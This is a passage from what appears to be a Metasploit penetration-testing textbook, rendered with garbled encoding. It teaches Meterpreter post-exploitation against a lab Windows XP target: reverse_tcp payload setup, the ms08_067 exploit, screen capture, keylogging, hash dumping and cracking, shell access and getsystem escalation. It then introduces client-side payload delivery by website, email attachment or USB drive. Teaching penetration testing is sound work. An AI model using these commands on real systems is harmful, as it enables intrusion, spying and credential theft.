�s�y�s�t�e�m� �a�n�d� �w�r�i�t�e�s� �n�o�t�h�i�n�g� �t�o� �t�h�e� �d�i�s�k�.� �I�t� �d�o�e�s�n�'�t� �s�p�a�w�n� �a�n�y� �n�e�w� �p�r�o�c�e�s�s�;� �i�t� �i�n�j�e�c�t�s
�i�t�s�e�l�f� �i�n�t�o� �t�h�e� �c�o�m�p�r�o�m�i�s�e�d� �p�r�o�c�e�s�s�.� �I�t� �h�a�s� �a�n� �a�b�i�l�i�t�y� �t�o� �m�i�g�r�a�t�e� �t�o� �o�t�h�e�r� �r�u�n�n�i�n�g
�p�r�o�c�e�s�s�e�s� �e�a�s�i�l�y�.� �B�y� �d�e�f�a�u�l�t�,� �M�e�t�e�r�p�r�e�t�e�r� �c�o�m�m�u�n�i�c�a�t�e�s� �o�v�e�r� �a�n� �e�n�c�r�y�p�t�e�d
�c�h�a�n�n�e�l�.� �T�h�i�s� �l�e�a�v�e�s� �a� �l�i�m�i�t�e�d� �t�r�a�c�e� �o�n� �t�h�e� �c�o�m�p�r�o�m�i�s�e�d� �s�y�s�t�e�m� �f�r�o�m� �t�h�e� �f�o�r�e�n�s�i�c
�p�e�r�s�p�e�c�t�i�v�e�.
�E�x�t�e�n�s�i�b�l�e�:� �F�e�a�t�u�r�e�s� �c�a�n� �b�e� �a�d�d�e�d� �a�t� �r�u�n�t�i�m�e� �a�n�d� �a�r�e� �d�i�r�e�c�t�l�y� �l�o�a�d�e�d� �o�v�e�r� �t�h�e
�n�e�t�w�o�r�k�.� �N�e�w� �f�e�a�t�u�r�e�s� �c�a�n� �b�e� �a�d�d�e�d� �t�o� �M�e�t�e�r�p�r�e�t�e�r� �w�i�t�h�o�u�t� �h�a�v�i�n�g� �t�o� �r�e�b�u�i�l�d� �i�t�.
�T�h�e� meterpreter � �p�a�y�l�o�a�d� �r�u�n�s� �s�e�a�m�l�e�s�s�l�y� �a�n�d� �v�e�r�y� �f�a�s�t�.

�T�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t� �s�h�o�w�s� �a� meterpreter � �s�e�s�s�i�o�n� �t�h�a�t� �w�e� �o�b�t�a�i�n�e�d� �b�y� �e�x�p�l�o�i�t�i�n�g� �t�h�e
ms08_067_netapi � �v�u�l�n�e�r�a�b�i�l�i�t�y� �o�n� �o�u�r� �W�i�n�d�o�w�s� �X�P� �t�a�r�g�e�t� �s�y�s�t�e�m�.

�B�e�f�o�r�e� �w�e� �u�s�e� �t�h�e� �e�x�p�l�o�i�t�,� �w�e� �n�e�e�d� �t�o� �c�o�n�f�i�g�u�r�e� �t�h�e� �m�e�t�e�r�p�r�e�t�e�r� �p�a�y�l�o�a�d
�b�y� �i�s�s�u�i�n�g� �t�h�e� use payload/windows/meterpreter/reverse_tcp
�c�o�m�m�a�n�d� �a�n�d� �t�h�e�n� �s�e�t�t�i�n�g� �t�h�e� �v�a�l�u�e� �o�f� �t�h�e� �L�H�O�S�T� �v�a�r�i�a�b�l�e�.
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�S�e�a�r�c�h�i�n�g� �f�o�r� �c�o�n�t�e�n�t
�O�n�c�e� �w�e� �h�a�v�e� �c�o�m�p�r�o�m�i�s�e�d� �o�u�r� �t�a�r�g�e�t� �s�y�s�t�e�m�,� �w�e� �m�i�g�h�t� �w�a�n�t� �t�o� �l�o�o�k� �o�u�t� �f�o�r� �s�p�e�c�i�f�i�c� �f�i�l�e�s
�a�n�d� �f�o�l�d�e�r�s�.� �I�t� �a�l�l� �d�e�p�e�n�d�s� �o�n� �t�h�e� �c�o�n�t�e�x�t� �a�n�d� �i�n�t�e�n�t�i�o�n� �o�f� �t�h�e� �p�e�n�e�t�r�a�t�i�o�n� �t�e�s�t�.� �T�h�e
�m�e�t�e�r�p�r�e�t�e�r� �o�f�f�e�r�s� �a� �s�e�a�r�c�h� �o�p�t�i�o�n� �t�o� �l�o�o�k� �f�o�r� �f�i�l�e�s� �a�n�d� �f�o�l�d�e�r�s� �o�n� �t�h�e� �c�o�m�p�r�o�m�i�s�e�d� �s�y�s�t�e�m�.
�T�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t� �s�h�o�w�s� �a� �s�e�a�r�c�h� �q�u�e�r�y� �l�o�o�k�i�n�g� �f�o�r� �c�o�n�f�i�d�e�n�t�i�a�l� �t�e�x�t� �f�i�l�e�s� �l�o�c�a�t�e�d� �o�n
�C� �d�r�i�v�e�:

�S�c�r�e�e�n� �c�a�p�t�u�r�e
�U�p�o�n� �a� �s�u�c�c�e�s�s�f�u�l� �c�o�m�p�r�o�m�i�s�e�,� �w�e� �m�i�g�h�t� �w�a�n�t� �t�o� �k�n�o�w� �w�h�a�t� �a�c�t�i�v�i�t�i�e�s� �a�n�d� �t�a�s�k�s� �a�r�e
�r�u�n�n�i�n�g� �o�n� �t�h�e� �c�o�m�p�r�o�m�i�s�e�d� �s�y�s�t�e�m�.� �T�a�k�i�n�g� �a� �s�c�r�e�e�n�s�h�o�t� �m�a�y� �g�i�v�e� �u�s� �s�o�m�e� �i�n�t�e�r�e�s�t�i�n�g
�i�n�f�o�r�m�a�t�i�o�n� �o�n� �w�h�a�t� �o�u�r� �v�i�c�t�i�m� �i�s� �d�o�i�n�g� �a�t� �t�h�a�t� �p�a�r�t�i�c�u�l�a�r� �m�o�m�e�n�t�.� �I�n� �o�r�d�e�r� �t�o� �c�a�p�t�u�r�e� �a
�s�c�r�e�e�n�s�h�o�t� �o�f� �t�h�e� �c�o�m�p�r�o�m�i�s�e�d� �s�y�s�t�e�m� �r�e�m�o�t�e�l�y�,� �w�e� �p�e�r�f�o�r�m� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�t�e�p�s�:

�U�s�e� �t�h�e� ps � �c�o�m�m�a�n�d� �t�o� �l�i�s�t� �a�l�l� �p�r�o�c�e�s�s�e�s� �r�u�n�n�i�n�g� �o�n� �t�h�e� �t�a�r�g�e�t� �s�y�s�t�e�m� �a�l�o�n�g� �w�i�t�h�1�.
�t�h�e�i�r� �P�I�D�s�.
�L�o�c�a�t�e� �t�h�e� explorer.exe � �p�r�o�c�e�s�s�,� �a�n�d� �n�o�t�e� �d�o�w�n� �i�t�s� �P�I�D�.�2�.

�M�i�g�r�a�t�e� �t�h�e� �m�e�t�e�r�p�r�e�t�e�r� �t�o� �t�h�e� explorer.exe � �p�r�o�c�e�s�s�,� �a�s� �s�h�o�w�n� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g�3�.
�s�c�r�e�e�n�s�h�o�t�:
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�O�n�c�e� �w�e� �h�a�v�e� �m�i�g�r�a�t�e�d� �m�e�t�e�r�p�r�e�t�e�r� �t�o� explorer.exe �,� �w�e� �l�o�a�d� �t�h�e� espia � �p�l�u�g�i�n� �a�n�d� �t�h�e�n
�f�i�r�e� �t�h�e� screengrab � �c�o�m�m�a�n�d�,� �a�s� �s�h�o�w�n� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�:
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�T�h�e� �s�c�r�e�e�n�s�h�o�t� �o�f� �o�u�r� �c�o�m�p�r�o�m�i�s�e�d� �s�y�s�t�e�m� �i�s� �s�a�v�e�d� �(�a�s� �f�o�l�l�o�w�s�)�,� �a�n�d� �w�e� �c�a�n� �n�o�t�i�c�e� �t�h�a�t� �t�h�e
�v�i�c�t�i�m� �w�a�s� �i�n�t�e�r�a�c�t�i�n�g� �w�i�t�h� �t�h�e� �F�i�l�e�Z�i�l�l�a� �S�e�r�v�e�r�:

�K�e�y�s�t�r�o�k�e� �l�o�g�g�i�n�g
�A�p�a�r�t� �f�r�o�m� �s�c�r�e�e�n�s�h�o�t�,� �a�n�o�t�h�e�r� �v�e�r�y� �u�s�e�f�u�l� �m�e�t�e�r�p�r�e�t�e�r� �f�e�a�t�u�r�e� �i�s� �k�e�y�l�o�g�g�i�n�g�.� �T�h�e
�m�e�t�e�r�p�r�e�t�e�r� �k�e�y�s�t�r�o�k�e� �s�n�i�f�f�e�r� �w�i�l�l� �c�a�p�t�u�r�e� �a�l�l� �t�h�e� �k�e�y�s� �p�r�e�s�s�e�d� �o�n� �t�h�e� �c�o�m�p�r�o�m�i�s�e�d� �s�y�s�t�e�m
�a�n�d� �d�u�m�p� �o�u�t� �t�h�e� �r�e�s�u�l�t�s� �o�n� �o�u�r� �c�o�n�s�o�l�e�.� �T�h�e� keyscan_start � �c�o�m�m�a�n�d� �i�s� �u�s�e�d� �t�o� �i�n�i�t�i�a�t�e
�r�e�m�o�t�e� �k�e�y�l�o�g�g�i�n�g� �o�n� �t�h�e� �c�o�m�p�r�o�m�i�s�e�d� �s�y�s�t�e�m�,� �w�h�i�l�e� �t�h�e� keyscan_dump � �c�o�m�m�a�n�d� �i�s
�u�s�e�d� �t�o� �d�u�m�p� �o�u�t� �a�l�l� �t�h�e� �c�a�p�t�u�r�e�d� �k�e�y�s�t�r�o�k�e�s� �t�o� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �c�o�n�s�o�l�e�:
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�D�u�m�p�i�n�g� �t�h�e� �h�a�s�h�e�s� �a�n�d� �c�r�a�c�k�i�n�g� �w�i�t�h� �J�T�R
�W�i�n�d�o�w�s� �s�t�o�r�e�s� �t�h�e� �u�s�e�r� �c�r�e�d�e�n�t�i�a�l�s� �i�n� �a�n� �e�n�c�r�y�p�t�e�d� �f�o�r�m�a�t� �i�n� �i�t�s� �S�A�M� �d�a�t�a�b�a�s�e�.� �O�n�c�e� �w�e
�h�a�v�e� �c�o�m�p�r�o�m�i�s�e�d� �o�u�r� �t�a�r�g�e�t� �s�y�s�t�e�m�,� �w�e� �w�a�n�t� �t�o� �g�e�t� �h�o�l�d� �o�f� �a�l�l� �t�h�e� �c�r�e�d�e�n�t�i�a�l�s� �o�n� �t�h�a�t
�s�y�s�t�e�m�.� �A�s� �s�h�o�w�n� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�,� �w�e� �c�a�n� �u�s�e� �t�h�e
post/windows/gather/hashdump � �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e� �t�o� �d�u�m�p� �t�h�e� �p�a�s�s�w�o�r�d� �h�a�s�h�e�s� �f�r�o�m
�t�h�e� �r�e�m�o�t�e� �c�o�m�p�r�o�m�i�s�e�d� �s�y�s�t�e�m�:

�O�n�c�e� �w�e� �h�a�v�e� �a� �d�u�m�p� �o�f� �c�r�e�d�e�n�t�i�a�l�s�,� �t�h�e� �n�e�x�t� �s�t�e�p� �i�s� �t�o� �c�r�a�c�k� �t�h�e�m� �a�n�d� �r�e�t�r�i�e�v�e� �c�l�e�a�r� �t�e�x�t
�p�a�s�s�w�o�r�d�s�.� �T�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �h�a�s� �a�n� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e
auxiliary/analyze/jtr_crack_fast � �t�h�a�t� �t�r�i�g�g�e�r�s� �p�a�s�s�w�o�r�d� �c�r�a�c�k�e�r� �a�g�a�i�n�s�t� �t�h�e
�d�u�m�p�e�d� �h�a�s�h�e�s�.
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�U�p�o�n� �c�o�m�p�l�e�t�i�o�n�,� �t�h�e� �m�o�d�u�l�e� �d�i�s�p�l�a�y�s� �c�l�e�a�r� �t�e�x�t� �p�a�s�s�w�o�r�d�s�,� �a�s� �s�h�o�w�n� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g
�s�c�r�e�e�n�s�h�o�t�:

�j�t�r� �i�s� �a�n� �a�c�r�o�n�y�m� �f�o�r� �J�o�h�n� �t�h�e� �R�i�p�p�e�r�,� �t�h�e� �m�o�s�t� �c�o�m�m�o�n�l�y� �u�s�e�d� �p�a�s�s�w�o�r�d
�c�r�a�c�k�e�r�.

�S�h�e�l�l� �c�o�m�m�a�n�d
�O�n�c�e� �w�e� �h�a�v�e� �s�u�c�c�e�s�s�f�u�l�l�y� �e�x�p�l�o�i�t�e�d� �t�h�e� �v�u�l�n�e�r�a�b�i�l�i�t�y� �a�n�d� �o�b�t�a�i�n�e�d� �m�e�t�e�r�p�r�e�t�e�r� �a�c�c�e�s�s�,� �w�e
�c�a�n� �u�s�e� �t�h�e� shell � �c�o�m�m�a�n�d� �t�o� �g�e�t� �c�o�m�m�a�n�d� �p�r�o�m�p�t� �a�c�c�e�s�s� �t�o� �t�h�e� �c�o�m�p�r�o�m�i�s�e�d� �s�y�s�t�e�m� �(�a�s
�s�h�o�w�n� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�)�.� �T�h�e� �c�o�m�m�a�n�d� �p�r�o�m�p�t� �a�c�c�e�s�s� �w�i�l�l� �m�a�k�e� �y�o�u� �f�e�e�l� �a�s� �i�f
�y�o�u� �a�r�e� �p�h�y�s�i�c�a�l�l�y� �w�o�r�k�i�n�g� �o�n� �t�h�e� �t�a�r�g�e�t� �s�y�s�t�e�m�:
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�P�r�i�v�i�l�e�g�e� �e�s�c�a�l�a�t�i�o�n
�W�e� �c�a�n� �e�x�p�l�o�i�t� �a� �v�u�l�n�e�r�a�b�i�l�i�t�y� �a�n�d� �g�e�t� �r�e�m�o�t�e� �m�e�t�e�r�p�r�e�t�e�r� �a�c�c�e�s�s�,� �b�u�t� �i�t�'�s� �q�u�i�t�e� �p�o�s�s�i�b�l�e� �t�h�a�t
�w�e� �h�a�v�e� �l�i�m�i�t�e�d� �p�r�i�v�i�l�e�g�e�s� �o�n� �t�h�e� �c�o�m�p�r�o�m�i�s�e�d� �s�y�s�t�e�m�.� �I�n� �o�r�d�e�r� �t�o� �e�n�s�u�r�e� �w�e� �h�a�v�e� �f�u�l�l
�a�c�c�e�s�s� �a�n�d� �c�o�n�t�r�o�l� �o�v�e�r� �o�u�r� �c�o�m�p�r�o�m�i�s�e�d� �s�y�s�t�e�m�,� �w�e� �n�e�e�d� �t�o� �e�l�e�v�a�t�e� �p�r�i�v�i�l�e�g�e�s� �t�o� �t�h�a�t� �o�f� �a�n
�a�d�m�i�n�i�s�t�r�a�t�o�r�.� �T�h�e� �m�e�t�e�r�p�r�e�t�e�r� �o�f�f�e�r�s� �f�u�n�c�t�i�o�n�a�l�i�t�y� �t�o� �e�s�c�a�l�a�t�e� �p�r�i�v�i�l�e�g�e�s� �a�s� �s�h�o�w�n� �i�n� �t�h�e
�f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�.� �F�i�r�s�t�,� �w�e� �l�o�a�d� �a�n� �e�x�t�e�n�s�i�o�n� �c�a�l�l�e�d� priv �,� �a�n�d� �t�h�e�n� �u�s�e� �t�h�e� getsystem
�c�o�m�m�a�n�d� �t�o� �e�s�c�a�l�a�t�e� �t�h�e� �p�r�i�v�i�l�e�g�e�s�.
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�W�e� �c�a�n� �t�h�e�n� �v�e�r�i�f�y� �o�u�r� �p�r�i�v�i�l�e�g�e� �l�e�v�e�l� �u�s�i�n�g� �t�h�e� getuid � �c�o�m�m�a�n�d�:

�S�u�m�m�a�r�y
�I�n� �t�h�i�s� �c�h�a�p�t�e�r�,� �y�o�u� �l�e�a�r�n�e�d� �h�o�w� �t�o� �s�e�t� �u�p� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �d�a�t�a�b�a�s�e� �a�n�d� �t�h�e�n� �e�x�p�l�o�r�e�d
�v�a�r�i�o�u�s� �t�e�c�h�n�i�q�u�e�s� �o�f� �v�u�l�n�e�r�a�b�i�l�i�t�y� �s�c�a�n�n�i�n�g� �u�s�i�n�g� �N�M�A�P� �a�n�d� �N�e�s�s�u�s�.� �W�e� �c�o�n�c�l�u�d�e�d� �b�y
�g�e�t�t�i�n�g� �t�o� �k�n�o�w� �t�h�e� �a�d�v�a�n�c�e�d� �p�o�s�t�-�e�x�p�l�o�i�t�a�t�i�o�n� �f�e�a�t�u�r�e�s� �o�f� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k�.� �I�n
�t�h�e� �n�e�x�t� �c�h�a�p�t�e�r�,� �w�e�'�l�l� �l�e�a�r�n� �a�b�o�u�t� �t�h�e� �i�n�t�e�r�e�s�t�i�n�g� �c�l�i�e�n�t�-�s�i�d�e� �e�x�p�l�o�i�t�a�t�i�o�n� �f�e�a�t�u�r�e�s� �o�f� �t�h�e
�M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k�.

�E�x�e�r�c�i�s�e�s
�Y�o�u� �c�a�n� �t�r�y� �t�h�e� �f�o�l�l�o�w�i�n�g� �e�x�e�r�c�i�s�e�s�:

�F�i�n�d� �o�u�t� �a�n�d� �t�r�y� �t�o� �u�s�e� �a�n�y� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e� �t�h�a�t� �c�a�n� �b�e� �u�s�e�d� �f�o�r� �v�u�l�n�e�r�a�b�i�l�i�t�y
�d�e�t�e�c�t�i�o�n
�T�r�y� �t�o� �e�x�p�l�o�r�e� �v�a�r�i�o�u�s� �f�e�a�t�u�r�e�s� �o�f� �m�e�t�e�r�p�r�e�t�e�r� �o�t�h�e�r� �t�h�a�n� �t�h�o�s�e� �d�i�s�c�u�s�s�e�d� �i�n� �t�h�i�s
�c�h�a�p�t�e�r
�T�r�y� �t�o� �f�i�n�d� �o�u�t� �i�f� �t�h�e�r�e� �i�s� �a�n�y� �a�l�t�e�r�n�a�t�i�v�e� �t�o� db_autopwn
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�M�e�t�a�s�p�l�o�i�t
�I�n� �t�h�e� �p�r�e�v�i�o�u�s� �c�h�a�p�t�e�r�,� �w�e� �l�e�a�r�n�e�d� �t�o� �u�s�e� �v�a�r�i�o�u�s� �t�o�o�l�s� �s�u�c�h� �a�s� �N�M�A�P� �a�n�d� �N�e�s�s�u�s� �t�o
�d�i�r�e�c�t�l�y� �e�x�p�l�o�i�t� �v�u�l�n�e�r�a�b�i�l�i�t�i�e�s� �i�n� �t�h�e� �t�a�r�g�e�t� �s�y�s�t�e�m�.� �H�o�w�e�v�e�r�,� �t�h�e� �t�e�c�h�n�i�q�u�e�s� �t�h�a�t� �w�e
�l�e�a�r�n�e�d� �a�r�e� �u�s�e�f�u�l� �i�f� �t�h�e� �a�t�t�a�c�k�e�r�'�s� �s�y�s�t�e�m� �a�n�d� �t�h�e� �t�a�r�g�e�t� �s�y�s�t�e�m� �a�r�e� �w�i�t�h�i�n� �t�h�e� �s�a�m�e
�n�e�t�w�o�r�k�.� �I�n� �t�h�i�s� �c�h�a�p�t�e�r�,� �w�e�'�l�l� �s�e�e� �a�n� �o�v�e�r�v�i�e�w� �o�f� �t�e�c�h�n�i�q�u�e�s� �u�s�e�d� �t�o� �e�x�p�l�o�i�t� �s�y�s�t�e�m�s�,� �w�h�i�c�h
�a�r�e� �l�o�c�a�t�e�d� �i�n� �d�i�f�f�e�r�e�n�t� �n�e�t�w�o�r�k�s� �a�l�t�o�g�e�t�h�e�r�.� �T�h�e� �t�o�p�i�c�s� �t�o� �b�e� �c�o�v�e�r�e�d� �i�n� �t�h�i�s� �c�h�a�p�t�e�r� �a�r�e� �a�s
�f�o�l�l�o�w�s�:

�U�n�d�e�r�s�t�a�n�d�i�n�g� �k�e�y� �t�e�r�m�i�n�o�l�o�g�y� �r�e�l�a�t�e�d� �t�o� �c�l�i�e�n�t�-�s�i�d�e� �a�t�t�a�c�k�s
�U�s�i�n�g� �m�s�f�v�e�n�o�m� �t�o� �g�e�n�e�r�a�t�e� �c�u�s�t�o�m� �p�a�y�l�o�a�d�s
�U�s�i�n�g� �S�o�c�i�a�l�-�E�n�g�i�n�e�e�r�i�n�g� �T�o�o�l�k�i�t
�A�d�v�a�n�c�e�d� �b�r�o�w�s�e�r�-�b�a�s�e�d� �a�t�t�a�c�k�s� �u�s�i�n�g� �t�h�e� browser_autopwn � �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e

�N�e�e�d� �o�f� �c�l�i�e�n�t�-�s�i�d�e� �a�t�t�a�c�k�s
�I�n� �t�h�e� �p�r�e�v�i�o�u�s� �c�h�a�p�t�e�r�,� �w�e� �u�s�e�d� �t�h�e� �M�S�0�8�_�0�6�7�n�e�t� �a�p�i� �v�u�l�n�e�r�a�b�i�l�i�t�y� �i�n� �o�u�r� �t�a�r�g�e�t� �s�y�s�t�e�m
�a�n�d� �g�o�t� �c�o�m�p�l�e�t�e� �a�d�m�i�n�i�s�t�r�a�t�o�r�-�l�e�v�e�l� �a�c�c�e�s�s� �t�o� �t�h�e� �s�y�s�t�e�m�.� �W�e� �c�o�n�f�i�g�u�r�e�d� �t�h�e� �v�a�l�u�e� �o�f� �t�h�e
�R�H�O�S�T� �v�a�r�i�a�b�l�e� �a�s� �t�h�e� �I�P� �a�d�d�r�e�s�s� �o�f� �o�u�r� �t�a�r�g�e�t� �s�y�s�t�e�m�.� �N�o�w�,� �t�h�e� �e�x�p�l�o�i�t� �w�a�s� �s�u�c�c�e�s�s�f�u�l
�o�n�l�y� �b�e�c�a�u�s�e� �t�h�e� �a�t�t�a�c�k�e�r�'�s� �s�y�s�t�e�m� �a�n�d� �t�h�e� �t�a�r�g�e�t� �s�y�s�t�e�m� �b�o�t�h� �w�e�r�e� �o�n� �t�h�e� �s�a�m�e� �n�e�t�w�o�r�k�.
�(�T�h�e� �I�P� �a�d�d�r�e�s�s� �o�f� �a�t�t�a�c�k�e�r�'�s� �s�y�s�t�e�m� �w�a�s� 192.168.44.134 � �a�n�d� �t�h�e� �I�P� �a�d�d�r�e�s�s� �o�f� �t�a�r�g�e�t
�s�y�s�t�e�m� �w�a�s� 192.168.44.129 �)�.
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�T�h�i�s� �s�c�e�n�a�r�i�o� �w�a�s� �p�r�e�t�t�y� �s�t�r�a�i�g�h�t�f�o�r�w�a�r�d� �a�s� �s�h�o�w�n� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �d�i�a�g�r�a�m�:

�N�o�w�,� �c�o�n�s�i�d�e�r� �a� �s�c�e�n�a�r�i�o� �s�h�o�w�n� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �d�i�a�g�r�a�m�.� �T�h�e� �I�P� �a�d�d�r�e�s�s� �o�f� �t�h�e� �a�t�t�a�c�k�e�r
�s�y�s�t�e�m� �i�s� �a� �p�u�b�l�i�c� �a�d�d�r�e�s�s� �a�n�d� �h�e� �i�s� �t�r�y�i�n�g� �t�o� �e�x�p�l�o�i�t� �a� �v�u�l�n�e�r�a�b�i�l�i�t�y� �o�n� �a� �s�y�s�t�e�m�,� �w�h�i�c�h� �i�s
�n�o�t� �i�n� �s�a�m�e� �n�e�t�w�o�r�k�.� �N�o�t�e�,� �t�h�e� �t�a�r�g�e�t� �s�y�s�t�e�m�,� �i�n� �t�h�i�s� �c�a�s�e�,� �h�a�s� �a� �p�r�i�v�a�t�e� �I�P� �a�d�d�r�e�s�s
�(10.11.1.56 �)� �a�n�d� �i�s� �N�A�T�'�e�d� �b�e�h�i�n�d� �a�n� �i�n�t�e�r�n�e�t� �r�o�u�t�e�r� �(88.43.21.9x �)�.� �S�o�,� �t�h�e�r�e�'�s� �n�o
�d�i�r�e�c�t� �c�o�n�n�e�c�t�i�v�i�t�y� �b�e�t�w�e�e�n� �t�h�e� �a�t�t�a�c�k�e�r�'�s� �s�y�s�t�e�m� �a�n�d� �t�h�e� �t�a�r�g�e�t� �s�y�s�t�e�m�.� �B�y� �s�e�t�t�i�n�g� �R�H�O�S�T
�t�o� 89.43.21.9 �,� �t�h�e� �a�t�t�a�c�k�e�r� �c�a�n� �r�e�a�c�h� �o�n�l�y� �t�h�e� �i�n�t�e�r�n�e�t� �r�o�u�t�e�r� �a�n�d� �n�o�t� �t�h�e� �d�e�s�i�r�e�d� �t�a�r�g�e�t
�s�y�s�t�e�m�.� �I�n� �t�h�i�s� �c�a�s�e�,� �w�e� �n�e�e�d� �t�o� �a�d�o�p�t� �a�n�o�t�h�e�r� �a�p�p�r�o�a�c�h� �f�o�r� �a�t�t�a�c�k�i�n�g� �o�u�r� �t�a�r�g�e�t� �s�y�s�t�e�m
�k�n�o�w�n� �a�s� �c�l�i�e�n�t�-�s�i�d�e� �a�t�t�a�c�k�s�:

�W�h�a�t� �a�r�e� �c�l�i�e�n�t�-�s�i�d�e� �a�t�t�a�c�k�s�?
�A�s� �w�e� �h�a�v�e� �s�e�e�n� �i�n� �t�h�e� �p�r�e�c�e�d�i�n�g� �s�e�c�t�i�o�n�,� �i�f� �t�h�e� �t�a�r�g�e�t� �s�y�s�t�e�m� �i�s� �n�o�t� �i�n� �t�h�e� �s�a�m�e� �n�e�t�w�o�r�k� �a�s
�t�h�a�t� �o�f� �t�h�e� �a�t�t�a�c�k�e�r�,� �t�h�e�n� �t�h�e� �a�t�t�a�c�k�e�r� �c�a�n�n�o�t� �r�e�a�c�h� �t�h�e� �t�a�r�g�e�t� �s�y�s�t�e�m� �d�i�r�e�c�t�l�y�.� �I�n� �t�h�i�s� �c�a�s�e�,
�t�h�e� �a�t�t�a�c�k�e�r� �w�i�l�l� �h�a�v�e� �t�o� �s�e�n�d� �t�h�e� �p�a�y�l�o�a�d� �t�o� �t�h�e� �t�a�r�g�e�t� �s�y�s�t�e�m� �b�y� �s�o�m�e� �o�t�h�e�r� �m�e�a�n�s�.� �S�o�m�e
�o�f� �t�h�e� �t�e�c�h�n�i�q�u�e�s� �f�o�r� �d�e�l�i�v�e�r�i�n�g� �t�h�e� �p�a�y�l�o�a�d� �t�o� �t�h�e� �t�a�r�g�e�t� �s�y�s�t�e�m� �a�r�e�:
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�T�h�e� �a�t�t�a�c�k�e�r� �h�o�s�t�s� �a� �w�e�b�s�i�t�e� �w�i�t�h� �t�h�e� �r�e�q�u�i�r�e�d� �m�a�l�i�c�i�o�u�s� �p�a�y�l�o�a�d� �a�n�d� �s�e�n�d�s� �i�t� �t�o�1�.
�t�h�e� �v�i�c�t�i�m�.
�T�h�e� �a�t�t�a�c�k�e�r� �s�e�n�d�s� �t�h�e� �p�a�y�l�o�a�d� �e�m�b�e�d�d�e�d� �i�n� �a�n�y� �i�n�n�o�c�e�n�t� �l�o�o�k�i�n�g� �f�i�l�e� �s�u�c�h� �a�s�2�.
�D�O�C�,� �P�D�F�,� �o�r� �X�L�S� �t�o� �t�h�e� �v�i�c�t�i�m� �o�v�e�r� �e�m�a�i�l�.
�T�h�e� �a�t�t�a�c�k�e�r� �s�e�n�d�s� �t�h�e� �p�a�y�l�o�a�d� �u�s�i�n�g� �a�n� �i�n�f�e�c�t�e�d� �m�e�d�i�a� �d�r�i�v�e� �(�s�u�c�h� �a�s� �U�S�B� �f�l�a�s�h�3�.
�d�r�i�v�e�,� �C�D�,� �o�r� �D�V�D�)

�N�o�w�,� �o�n�c�e� �t�h�e� �p�a�y�l�o�a�d� �h�a�s� �b�e�e�n� �s�e�n�t� �t�o� �t�h�e� �v�i�c�t�i�m�,� �t�h�e� �v�i�c�t�i�m� �n�e�e�d�s� �t�o� �p�e�r�f�o�r�m� �t�h�e� �r�e�q�u�i�r�e�d
�a�c�t�i�o�n� �i�n� �o�r�d�e�r� �t�o� �t�r�i�g�g�e�r� �t�h�e� �p�a�y�l�o�a�d�.� �O�n�c�e� �t�h�e� �p�a�y�l�o�a�d� �i�s� �t�r�i�g�g�e�r�e�d�,� �i�t� �w�i�l�l� �c�o�n�n�e�c�t� �b�a�c�k� �t�o
�t�h�e� �a�t�t�a�c�k�e�r� �a�n�d� �g�i�v�e� �h�i�m� �t�h�e� �r�e�q�u�i�r�e�d� �a�c�c�e�s�s�.� �M�o�s�t� �o�f� �t�h�e� �c�l�i�e�n�t�-�s�i�d�e� �a�t�t�a�c�k�s� �r�e�q�u�i�r�e� �t�h�e
�v�i�c�t�i�m� �t�o� �p�e�r�f�o�r�m� �s�o�m�e� �k�i�n�d� �o�f� �a�c�t�i�o�n� �o�r� �o�t�h�e�r�.

�T�h�e� �f�o�l�l�o�w�i�n�g� �f�l�o�w�c�h�a�r�t� �s�u�m�m�a�r�i�z�e�s� �h�o�w� �c�l�i�e�n�t�-�s�i�d�e� �a�t�t�a�c�k�s� �w�o�r�k�:

�W�h�a�t� �i�s� �a� �S�h�e�l�l�c�o�d�e�?
�L�e�t�'�s� �b�r�e�a�k� �t�h�e� �w�o�r�d� �s�h�e�l�l�c�o�d�e� �i�n�t�o� �s�h�e�l�l� �a�n�d� �c�o�d�e�.� �I�n� �s�i�m�p�l�e� �t�e�r�m�s�,� �a� �s�h�e�l�l�c�o�d�e� �i�s� �a� �c�o�d�e
�t�h�a�t� �i�s� �d�e�s�i�g�n�e�d� �t�o� �g�i�v�e� �a� �s�h�e�l�l� �a�c�c�e�s�s� �o�f� �t�h�e� �t�a�r�g�e�t� �s�y�s�t�e�m�.� �P�r�a�c�t�i�c�a�l�l�y�,� �a� �s�h�e�l�l�c�o�d�e� �c�a�n� �d�o� �l�o�t
�m�o�r�e� �t�h�a�n� �j�u�s�t� �g�i�v�i�n�g� �s�h�e�l�l� �a�c�c�e�s�s�.� �I�t� �a�l�l� �d�e�p�e�n�d�s� �o�n� �w�h�a�t� �a�c�t�i�o�n�s� �a�r�e� �d�e�f�i�n�e�d� �i�n� �t�h�e
�s�h�e�l�l�c�o�d�e�.� �F�o�r� �e�x�e�c�u�t�i�n�g� �c�l�i�e�n�t�-�s�i�d�e� �a�t�t�a�c�k�s�,� �w�e� �n�e�e�d� �t�o� �c�h�o�o�s�e� �t�h�e� �p�r�e�c�i�s�e� �s�h�e�l�l�c�o�d�e� �t�h�a�t� �w�i�l�l
